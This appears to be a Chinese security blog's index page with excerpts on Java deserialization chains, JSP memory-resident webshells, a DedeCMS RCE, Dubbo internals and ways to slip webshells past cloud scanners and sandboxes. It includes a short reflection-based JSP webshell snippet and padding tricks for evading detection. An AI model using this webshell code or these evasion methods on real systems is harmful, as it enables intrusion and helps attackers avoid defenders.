藏青's BLOG

​ 最近做项目刚好遇到了反序列化漏洞，在项目中依赖了hibernate组件，借此机会分析下hibernate利用链。

漏洞分析

​ 首先看下最终反序列化漏洞的触发点，这个漏洞的触发点在org.hibernate.property.BasicPropertyAccessor.BasicGetter#get中，在这这个方法中使用了method.invoke反射调用。这里的method是从属性中获取的，因此是可控的，所以下来需要找到可以控制target参数的点。

前言

​ 最近在研究webshell免杀的问题，到了内存马免杀部分发现传统的Filter或者Servlet查杀手段比较多，不太容易实现免杀，比如有些工具会将所有注册的Servlet和Filter拿出来，排查人员仔细一点还是会被查出来的，所以我们要找一些其他方式实现的内存马。比如我今天提到的JSP的内存马。

JSP加载流程分析

​ 在Tomcat中jsp和jspx都会交给JspServlet处理，所以要想实现JSP驻留内存，首先得分析JspServlet的处理逻辑。

前言

​ 最近在研究webshell免杀，发现针对很多类型的内存马已经有了比较成型的检测方法，当然大多数内存马的查杀方式也是基于javaAgent，但是rebeyond前辈在文章Java内存攻击技术漫谈中给出了绕过检测工具的方法，理论上这种绕过会导致现有的基于Agent检测的工具无法使用，所以值得我们深入学习。

前言

​ 最近看到几个公众号都披露了DedeCMS的漏洞，很久也没有分析过PHP的漏洞了，趁着周末没什么事情分析下这两个漏洞。

V5.8.1内测版前台RCE

​ 这个漏洞在这篇文章有过分析，但我还是决定自己搭建好环境分析一下，以便自己能理解的更加深刻。

分析过程

​ 在DedeCMS中，当访问出现某些异常，Dede会弹出一个窗口给用户提示。

注释填充

​ 参考Webshell-Detect-Bypass项目glorysday.asp可以绕过阿里云的检测。这部分作者主要用了下面几个技巧。

利用'%>和'<%分别闭合前后标签填充大量垃圾<%%>标签，且最后文件体积大小要合适(测试发现文件大小约>0.97 MB)

在一定位置插入至少一个<??>字符串

​ 之前我在绕云WAF时，发现增加垃圾字符可以绕过云WAF的检测，所以我怀疑能绕过是因为大量垃圾字符的。于是我去除了'%>这部分，只使用大量的<%%>填充，也确实绕过了云查杀。但是如果使用其他字符填充无法绕过，所以我推测能绕过的原因是匹配<%%>的次数过多而导致的溢出。

​ 虽然大量填充可以绕过阿里云的查杀，但是这种方式在实战中并不可取，由于上传文件内容过大，导致在访问文件的过程中会有一些卡顿，一定程度上影响了客户端和webshell的交互。

前言

​ 基于之前成功绕过JSP的免杀经验，主要对抗的重点还是放在分离免杀，在这个项目中也有一些关于RASP和沙箱对抗的经验，可以直接复用。

从文件名获取内容

​ 云查杀会将我们传入的文件重命名，因此我们可以利用真实的webshell和沙箱中的文件名不一致来绕过。

更改接收参数方式

调用的类和方法参数化(失败)

1
2
3
4
5
6
7
8
9
10
11

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%
	 String className = request.getParameter("a");
        Class  A = Class.forName(className);
        Constructor B =  A.getDeclaredConstructor();
        B.setAccessible(true);
        Method M = A.getMethod(request.getParameter("b"), String.class);
        String D = request.getParameter("c");
        M.invoke(B.newInstance(), D);
%>

​ 事情是这样的，最近有个渗透的小伙伴找我，它通过shiro反序列化植入内存马获取了一个shell，但这台主机上有负载均衡，所以通过冰蝎、蚁剑等连接工具上传大文件会上传失败，需要我这边提供解决方案。

问题分析

问题一：为什么shell管理工具文件上传需要分包？

​ 我使用蚁剑做了测试，蚁剑配置shell可以在其他设置中设置分片的大小，默认是500kb，那有小伙伴可能要说了，那我将这个值改成一个比较大的值不就可以一次性上传大文件也就相当于解决了负载均衡的问题。

​ 最近准备对Dubbo的历史漏洞进行分析，但觉得不懂Dubbo的设计和实现直接去分析漏洞比较困难，所以在分析漏洞前先分析Dubbo的源码及实现，值得一提的是Dubbo的官网也有非常详细的源码分析的过程。

SPI机制及实现

​ Dubbo的SPI是对JDK自身SPI的扩展实现，增加了IOC和AOP的功能，是Dubbo实现的核心，Dubbo SPI需要的配置文件放在/meta-inf/dubbo目录下，通过键值对的方式配置，如下所示：

1
2

adaptive=org.apache.dubbo.common.extension.factory.AdaptiveExtensionFactory
spi=org.apache.dubbo.common.extension.factory.SpiExtensionFactory

​ Dubbo的SPI和JDK自身的SPI对比如下，这也是Dubbo没有选择使用JDK自带SPI的原因。

​ 之前审计的过程中，遇到过Dubbo这个组件，虽然知道这个组件存在反序列化漏洞，但是关于漏洞的详情和利用一概不知，所以下面对Dubbo的漏洞进行分析。

背景

​ Dubbo是一款开源的RPC和微服务治理的框架，最早是阿里开发的后来归到了Apache下面，支持多种协议，比如gRPC、Thrift、JsonRPC、Hessian2、REST、RMI、HTTP。

​ 下面是官网对于Dubbo架构的介绍。